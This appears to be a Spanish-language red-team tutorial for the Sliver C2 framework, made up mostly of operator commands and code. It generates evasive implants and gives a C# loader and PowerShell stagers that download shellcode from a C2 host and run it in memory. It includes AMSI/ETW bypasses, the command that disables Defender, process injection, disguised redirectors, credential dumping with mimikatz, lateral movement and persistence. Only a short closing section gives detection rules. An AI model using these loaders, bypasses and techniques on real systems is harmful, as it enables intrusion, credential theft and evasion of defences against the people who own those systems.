# Método 1: Script oficial (recomendado)
curl https://sliver.sh/install | sudo bash

# Método 2: Descarga manual desde GitHub Releases
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux
chmod +x sliver-server_linux && sudo mv sliver-server_linux /usr/local/bin/sliver-server

# Método 3: Kali Linux (repos oficiales)
sudo apt update && sudo apt install sliver -y

# Instalar dependencias para compilación de implantes
sudo apt install golang-go mingw-w64 -y

# Verificar instalación
sliver-server version
    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

    v1.5.42  — Bishop Fox
    OS: linux/amd64
    Go: 1.21.0

# Dentro de la consola sliver, generar perfil para un operador
sliver > multiplayer
[*] Multiplayer mode enabled

sliver > new-operator --name ghost --lhost 10.0.0.1
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /root/ghost_10.0.0.1.cfg

# Enviar el .cfg al operador de forma segura
# El operador conecta con:
sliver-client import /path/to/ghost_10.0.0.1.cfg
sliver-client
[*] Connected to sliver server: 10.0.0.1:31337
[*] Welcome to the sliver shell. Please type 'help' for options.

# Como servicio systemd (producción)
sudo systemctl enable sliver && sudo systemctl start sliver
sudo systemctl status sliver
● sliver.service - Sliver C2 Server
   Active: active (running) since ...

sliver > help generate

Flags:
  -c, --canary          Canary domains para detección de análisis
  -d, --debug           Compilar con símbolos de debug (más grande)
  -e, --evasion         Habilitar evasión avanzada (garble + más)
  -f, --format          Formato de salida: exe, shared, shellcode, service
  -G, --os              OS objetivo: windows, linux, darwin
  -a, --arch            Arquitectura: amd64, 386, arm64
  -s, --save            Ruta donde guardar el implante generado
  -o, --name            Nombre del implante (aleatorio si no se especifica)
      --http            Listener HTTP (host:port)
      --https           Listener HTTPS (host:port)
      --mtls            Listener mTLS (host:port)
      --dns             Listener DNS (domain)
  -Z, --obfuscate       Ofuscación de strings con garble
      --skip-symbols    Omitir tabla de símbolos (binario más pequeño)
      --timeout         Timeout de conexión (segundos)
      --reconnect       Intentos de reconexión

# Beacon Linux (servidor comprometido)
sliver > generate beacon --mtls 10.0.0.1:8888 --os linux --arch amd64 --format exe --evasion --seconds 300 --save /tmp/
[*] Saved to /tmp/SWIFT_PANTHER

# Session macOS ARM (Apple Silicon)
sliver > generate --https c2.lab:443 --os darwin --arch arm64 --format exe --evasion --save /tmp/
[*] Saved to /tmp/COLD_SUNRISE

# Shellcode para inyección en proceso (x64 Windows)
sliver > generate --https c2.lab:443 --os windows --arch amd64 --format shellcode --save /tmp/shell.bin
[*] Saved to /tmp/shell.bin

# DLL para hijacking
sliver > generate --https c2.lab:443 --os windows --arch amd64 --format shared --save /tmp/evil.dll
[*] Saved to /tmp/evil.dll

# Beacon para operación rápida (CTF/lab) — check-in cada 10s
sliver > generate beacon --https c2.lab:443 --seconds 10 --jitter 5 ...

# Beacon para operación de larga duración — check-in cada hora
sliver > generate beacon --https c2.lab:443 --seconds 3600 --jitter 600 ...
# Llama entre 50min y 70min → completamente natural en logs

# Beacon operativo estándar — 5 minutos con 20% jitter
sliver > generate beacon --https c2.lab:443 --seconds 300 --jitter 60 ...

# Beacon "horario de trabajo" — solo activo entre 9am y 6pm
# No nativo en Sliver, implementar en el implante custom o via BOF

# Desde una sesión activa, generar un nuevo beacon y ejecutarlo
sliver (HUNGRY_RABBIT) > generate beacon --https c2.lab:443 --seconds 300 --jitter 60 --os windows --evasion --save /tmp/beacon.exe
[*] Beacon saved to /tmp/beacon.exe

# Subir el beacon a la víctima
sliver (HUNGRY_RABBIT) > upload /tmp/beacon.exe C:\ProgramData\WinUpdate.exe
[*] Uploaded to C:\ProgramData\WinUpdate.exe

# Ejecutarlo en la víctima
sliver (HUNGRY_RABBIT) > execute -s C:\ProgramData\WinUpdate.exe
[*] Process spawned: 4821

# El beacon hace check-in en el próximo ciclo
sliver > beacons
WinUpdate   https   CORP-PC01   Win/amd64   Just now   4m58s

# --evasion activa garble automáticamente
sliver > generate beacon --https c2.lab:443 --os windows --arch amd64 --format exe --evasion --save /tmp/
[*] Evasion options: garble obfuscation enabled
[*] Build time increases ~20-40s with garble

# Qué hace garble:
1. Renombra funciones y variables a nombres aleatorios
2. Encripta strings del binario (no aparecen en "strings binary")
3. Elimina información de debugging y tabla de símbolos
4. Randomiza el orden de instrucciones donde es posible
5. Cada build genera un hash diferente (polimorfismo implícito)

# Verificar diferencia en strings:
strings /tmp/SIN_OFUSCAR.exe | grep -E "(sliver|implant|c2\.lab)"
c2.lab:443
sliver_beacon_main
SliverImplant_Connect

strings /tmp/CON_OFUSCAR.exe | grep -E "(sliver|implant|c2\.lab)"
(sin resultados — strings encriptados)

# 1. --skip-symbols: eliminar tabla de símbolos (binario más pequeño y limpio)
sliver > generate beacon --https c2.lab:443 --evasion --skip-symbols --os windows --save /tmp/

# 2. Canary domains: detectar análisis en sandbox
sliver > generate beacon --https c2.lab:443 --canary sandbox-detect.lab,analysis.lab --os windows --save /tmp/
# Si el implante detecta resolución de los canary domains → sabe que está en sandbox → no ejecuta

# 3. Post-compilación: UPX packing (cuidado, firma conocida)
upx --best /tmp/implant.exe -o /tmp/implant_packed.exe
# ⚠ UPX tiene firma en muchos AV modernos — usar con precaución

# 4. Shellcode wrapping con donut (más evasivo que EXE directo)
donut -f /tmp/implant.exe -o /tmp/implant.bin -a 2 -x 2
# Convierte el EXE en shellcode que puede inyectarse en procesos

# 5. Modificar timestamp del PE (timestomping)
python3 -c "
import pefile, datetime
pe = pefile.PE('/tmp/implant.exe')
pe.FILE_HEADER.TimeDateStamp = int(datetime.datetime(2021,6,15,8,30).timestamp())
pe.write('/tmp/implant_ts.exe')
"

// Loader C# que descarga shellcode Sliver e inyecta en proceso legítimo
// Compilar con csc.exe (LOLBAS) o msbuild para mayor evasión

using System;
using System.Net;
using System.Runtime.InteropServices;

class WinUpdateLoader {
    [DllImport("kernel32")]
    static extern IntPtr VirtualAlloc(IntPtr addr, UInt32 size, UInt32 allocType, UInt32 protect);

    [DllImport("kernel32")]
    static extern IntPtr CreateThread(IntPtr attr, UInt32 sz, IntPtr start, IntPtr param, UInt32 flags, IntPtr id);

    [DllImport("kernel32")]
    static extern UInt32 WaitForSingleObject(IntPtr handle, UInt32 ms);

    static void Main() {
        // Descargar shellcode del C2 (o embeber como array de bytes)
        var wc = new WebClient();
        // Patch AMSI antes de la descarga
        AmsiPatch.Disable();
        byte[] buf = wc.DownloadData("https://c2.ghostacademy.lab/update.bin");

        IntPtr mem = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
        Marshal.Copy(buf, 0, mem, buf.Length);
        IntPtr t = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(t, 0xFFFFFFFF);
    }
}

# Stager: implante pequeño que descarga el payload real en runtime
# El stager es mínimo y tiene baja detección
# El payload grande (con el código real de Sliver) se descarga en memoria

# 1. Generar el implante completo como shellcode
sliver > generate --https c2.lab:443 --os windows --format shellcode --save /tmp/sliver.bin

# 2. Servir el shellcode vía HTTPS (el C2 ya tiene HTTPS listener)
# 3. El stager descarga /tmp/sliver.bin y lo inyecta en memoria

# Stager PowerShell mínimo (alta detección — solo para lab)
$sc = (New-Object Net.WebClient).DownloadData('https://c2.lab:443/sliver.bin')
$mem = [Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)
$thread = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [Action])
$thread.Invoke()

# Stager más sigiloso: usar mshta + HTA como dropper inicial
# Ver sección LOLBAS del manual de GTFOBins para técnicas de stager

# En el lab: deshabilitar Defender temporalmente para pruebas
Set-MpPreference -DisableRealtimeMonitoring $true

# En real: técnicas de evasión en capas
# 1. AMSI bypass antes de cargar el payload
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# 2. ETW patch (desactivar Event Tracing for Windows)
# Parchear ntdll!EtwEventWrite para que retorne inmediatamente
$ntdll = [Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "http://c2/patch.dll").Content)

# 3. Process hollowing (vaciado de proceso legítimo)
# Crear svchost.exe suspendido → vaciar su memoria → inyectar shellcode Sliver
# Referencia: github.com/BishopFox/sliver/tree/master/tools

# 4. Técnica más moderna: Sleep masking
# Mientras el beacon duerme, encriptar su memoria → invisible para análisis en tiempo real
sliver > generate beacon --https c2.lab:443 --evasion --format shellcode --save /tmp/masked.bin
# Cargar con un loader que implemente sleep masking (ej: Ekko, Foliage)

MITRE T1562.001Disable Security Tools
MITRE T1055Process Injection

# Generar shellcode Sliver
sliver > generate beacon --https c2.lab:443 --format shellcode --evasion --save /tmp/sc.bin

# Inyectar shellcode en proceso remoto desde sesión activa
sliver (session) > inject --pid 2840 --shellcode /tmp/sc.bin
[*] Injecting shellcode into PID 2840 (explorer.exe)
[+] Successfully injected shellcode

# Spawn y migrate en un solo paso
sliver (session) > spawndll --process C:\\Windows\\System32\\notepad.exe --inject /tmp/evil.dll

# Side-loading de DLL maliciosa
sliver (session) > sideload --entry-point CustomDLLEntry /tmp/evil.dll

MITRE T1055.003Thread Exec. Hijacking
MITRE T1574.001DLL Hijacking

# El redirector es un VPS "quemable" que reenvía al C2 real
# Si el redirector se quema, el C2 real permanece intacto

# nginx como redirector (/etc/nginx/sites-available/c2-redirect)
server {
    listen 443 ssl;
    server_name updates.microsoft-cdn.workers.dev;  # dominio "legítimo"

    ssl_certificate     /etc/letsencrypt/live/updates.microsoft-cdn.workers.dev/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/updates.microsoft-cdn.workers.dev/privkey.pem;

    # Solo reenviar si el User-Agent coincide con el del implante
    if ($http_user_agent !~ "Mozilla/5.0.*Windows NT 10.*CUSTOM_TOKEN") {
        return 302 https://www.microsoft.com;  # engañar a los análisis
    }

    location / {
        proxy_pass https://REAL_C2_IP:443;
        proxy_set_header Host $host;
        proxy_ssl_verify off;
    }
}

# Sliver: apuntar el implante al redirector, no al C2 real
sliver > generate beacon --https updates.microsoft-cdn.workers.dev:443 --os windows --evasion --save /tmp/

// Cloudflare Worker que redirige tráfico C2
// El implante habla con *.workers.dev (dominio de Cloudflare — en whitelist)
// Cloudflare reenvía al C2 real

addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
    // Verificar header secreto (evitar escaneos aleatorios)
    const token = request.headers.get('X-Ghost-Token')
    if (token !== 'GHOST_SECRET_2024') {
        return new Response('Not Found', {status: 404})
    }

    const url = 'https://REAL_C2_IP' + new URL(request.url).pathname
    return fetch(url, {
        method: request.method,
        headers: request.headers,
        body: request.body
    })
}

# Info básica del sistema
sliver (session) > getuid    ← usuario actual
sliver (session) > getpid    ← PID del implante
sliver (session) > whoami    ← usuario con grupos
sliver (session) > env       ← variables de entorno

# Procesos y servicios
sliver (session) > ps        ← lista de procesos
sliver (session) > netstat   ← conexiones de red

# Sistema de archivos
sliver (session) > ls C:\\Users\\john.doe\\Desktop
sliver (session) > cat C:\\Users\\john.doe\\Documents\\passwords.txt
sliver (session) > search --pattern "*.kdbx" C:\\Users

# Transferencia de archivos
sliver (session) > download C:\\sensitive\\data.xlsx /tmp/data.xlsx
sliver (session) > upload /tmp/tool.exe C:\\Temp\\tool.exe

# Screenshot y keylogger
sliver (session) > screenshot
[*] Screenshot saved to: /tmp/screenshot_20240115_143022.png

# Ver privilegios actuales del token
sliver (session) > privs
SeImpersonatePrivilege: Enabled ← Potato attack posible

# Ejecutar como SYSTEM (si hay SeImpersonatePrivilege)
sliver (session) > getsystem
[*] Attempting to get SYSTEM ...
[+] Got SYSTEM via Named Pipe Impersonation

# Token impersonation — robar token de proceso privilegiado
sliver (session) > impersonate CORP\\Administrator
[*] Impersonating CORP\Administrator token ...

# Rev2self — volver al token original
sliver (session) > rev2self

# Runas — ejecutar proceso como otro usuario
sliver (session) > runas --username Administrator --password 'P@ssw0rd' --process cmd.exe

MITRE T1134Access Token Manipulation

# Cargar extensión hashdump desde el armory
sliver > armory install mimikatz

# Ejecutar mimikatz dentro de la sesión (via BOF o extension)
sliver (session) > mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"
Authentication Id : 0 ; 123456
   Session         : Interactive from 1
   User Name       : john.doe
   Domain          : CORP
   Logon Server    : DC01
   Password        : Welc0me2024!

# Hash dump de SAM (como SYSTEM)
sliver (session) > hashdump
Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::

# Credenciales del registro (autologin)
sliver (session) > reg read --hive HKLM --path "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"

MITRE T1003.001LSASS Memory

# WMI execution en host remoto
sliver (session) > wmiexec --username CORP\\Administrator --password 'Welc0me2024!' --hostname 192.168.1.20 --command "C:\\Temp\\beacon.exe"

# SMB beacon (beacons que se comunican entre sí via named pipe)
# Útil en redes sin acceso directo al C2
sliver > generate beacon --tcp-pivot 192.168.1.10:9999 --os windows --save /tmp/smb_beacon.exe
# El SMB beacon se comunica con la sesión "padre" via named pipe

# Reverse pivot (túnel inverso) — cuando el C2 no puede llegar al implante
sliver (session) > reverse-port-fwd --bind-host 0.0.0.0 --bind-port 9999 --remote-host 127.0.0.1 --remote-port 9999

MITRE T1021.006Windows Remote Management
MITRE T1570Lateral Tool Transfer

## 1. Registro (Run key) — el más común y detectado
sliver (session) > reg write --hive HKCU --path "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" --key "WinUpdate" --value "C:\\ProgramData\\WinUpdate.exe" --type string

## 2. Tarea programada — ejecuta en login o periódicamente
sliver (session) > execute -s schtasks /create /tn "SystemMaintenance" /tr "C:\\ProgramData\\WinUpdate.exe" /sc onlogon /ru SYSTEM /f
[+] Task created: SystemMaintenance

## 3. Servicio Windows — persiste sin login de usuario
sliver (session) > execute -s sc create WinDefSvc binpath= "C:\\ProgramData\\WinUpdate.exe" start= auto
sc description WinDefSvc "Windows Defender Update Service"

## 4. DLL hijacking — muy sigiloso si el proceso es legítimo
# Subir evil.dll con nombre de DLL que busca el proceso objetivo
sliver (session) > upload /tmp/evil.dll C:\\Program Files\\SomeApp\\version.dll
# Cuando SomeApp.exe arranque, cargará nuestra DLL

## 5. WMI event subscription (más sigiloso)
sliver (session) > execute -s powershell -c "$filter = Set-WmiInstance -Class __EventFilter -NameSpace root\\subscription -Arguments @{Name='Update';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=9 AND TargetInstance.Minute=0\"}"

MITRE T1547.001Registry Run Keys
MITRE T1053.005Scheduled Task
MITRE T1543.003Windows Service

# Instalar Sliver
curl https://sliver.sh/install | sudo bash

# Arrancar el servidor
sudo sliver-server
    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ...
sliver >

# Obtener IP del atacante
ip a | grep "inet " | grep -v 127
inet 192.168.1.100/24  ← ATACANTE_IP

:: Desactivar Defender para el lab
Set-MpPreference -DisableRealtimeMonitoring $true

:: Descargar y ejecutar el implante
certutil -urlcache -f http://192.168.1.100:8080/BLUE_OCEAN.exe C:\Temp\update.exe
C:\Temp\update.exe

## FASE 1: Demostrar que el EXE sin ofuscar es detectado
sliver > generate beacon --https c2.lab:443 --os windows --format exe --save /tmp/no_obf.exe
# En víctima con Defender activo:
C:\Temp\no_obf.exe
Threat detected! (Defender bloquea)

## FASE 2: Con garble — menor detección
sliver > generate beacon --https c2.lab:443 --os windows --format exe --evasion --save /tmp/obf.exe
# En víctima: puede pasar o no dependiendo de la versión de Defender

## FASE 3: Shellcode en memoria — el más efectivo
# Generar shellcode
sliver > generate beacon --https c2.lab:443 --os windows --arch amd64 --format shellcode --evasion --save /tmp/beacon.bin

# Loader PowerShell con AMSI bypass + shellcode en memoria
cat > /tmp/loader.ps1 << 'EOF'
# Patch AMSI
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Descargar shellcode del C2
$wc = New-Object System.Net.WebClient
$sc = $wc.DownloadData('https://c2.lab:443/beacon.bin')

# Alojar en memoria con VirtualAlloc
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $mem, $sc.Length)

# Marcar como ejecutable
$old = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (Add-Type -MemberDefinition '[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, uint b, uint c, out uint d);' -Name vp -PassThru).GetMethod('VirtualProtect'),
    [type]'System.Func[IntPtr,uint,uint,[uint],bool]'
)
$vp.Invoke($mem, [uint]$sc.Length, 0x40, [ref]$old)

# Ejecutar
$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [Action])
$delegate.Invoke()
EOF

# Ejecutar el loader en la víctima via mshta (LOLBAS)
mshta.exe "javascript:a=new ActiveXObject('WScript.Shell');a.Run('powershell -ep bypass -w hidden -f C:\\Temp\\loader.ps1',0);close()"

# El beacon hace check-in sin que Defender lo detecte
[*] Beacon — CORP-PC01 — windows/amd64 — Just now

□ Dominio C2 con TLS válido (LetsEncrypt o cert comprado)
□ Redirector configurado entre implante y C2 real
□ User-Agent del implante = navegador legítimo del entorno objetivo
□ Implante compilado con --evasion (garble) y --skip-symbols
□ Beacon interval/jitter apropiado para la operación
□ Canary domains configurados para detectar sandboxes
□ Implante testeado en VM limpia con AV activo (NO en VT)
□ Puerto del C2 real (31337) accesible solo desde IP del equipo
□ Plan de cleanup documentado
□ Logging de todas las acciones para el informe final

# Sliver usa certificados TLS con JA3 fingerprint específico
# El JA3 hash del cliente Sliver: puede detectarse en logs de proxy/firewall

# Buscar en Suricata/Snort:
alert tls any any -> any 443 (msg:"Sliver C2 JA3 fingerprint"; ja3.hash; content:"1aa7bf6b3d2996838bb58af4b31a6720"; sid:9001001;)

# User-Agent default de Sliver (puede cambiarse pero muchos dejan el default)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ... Sliver

# Tamaño de peticiones HTTPS periódicas — patrón de beacon
# Buscar peticiones HTTPS a intervalos regulares (con jitter) al mismo host

# DNS IOCs — Sliver DNS beacons usan subdominios con patrón específico
a1b2c3d4e5f6.c2.domain.lab → TXT query con datos codificados

## Detectar getsystem via Named Pipe Impersonation
title: Sliver getsystem Named Pipe
detection:
    selection:
        EventID: 18
        PipeName|contains: '\ghostpipe'
    condition: selection
level: high
tags:
    - attack.t1134.001

## Detectar implante Sliver por comportamiento de proceso
title: Sliver Implant Process Behavior
detection:
    selection:
        EventID: 1
        CommandLine|contains|all:
            - '-NoP'
            - '-NonI'
        ParentImage|endswith:
            - '\svchost.exe'
            - '\mshta.exe'
    condition: selection
level: medium

## Detectar migración de proceso (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread)
title: Process Injection Triad
detection:
    selection:
        EventID: 10  # Sysmon process access
        GrantedAccess: '0x1fffff'
        TargetImage|endswith:
            - '\svchost.exe'
            - '\explorer.exe'
            - '\notepad.exe'
    condition: selection
level: high
tags:
    - attack.t1055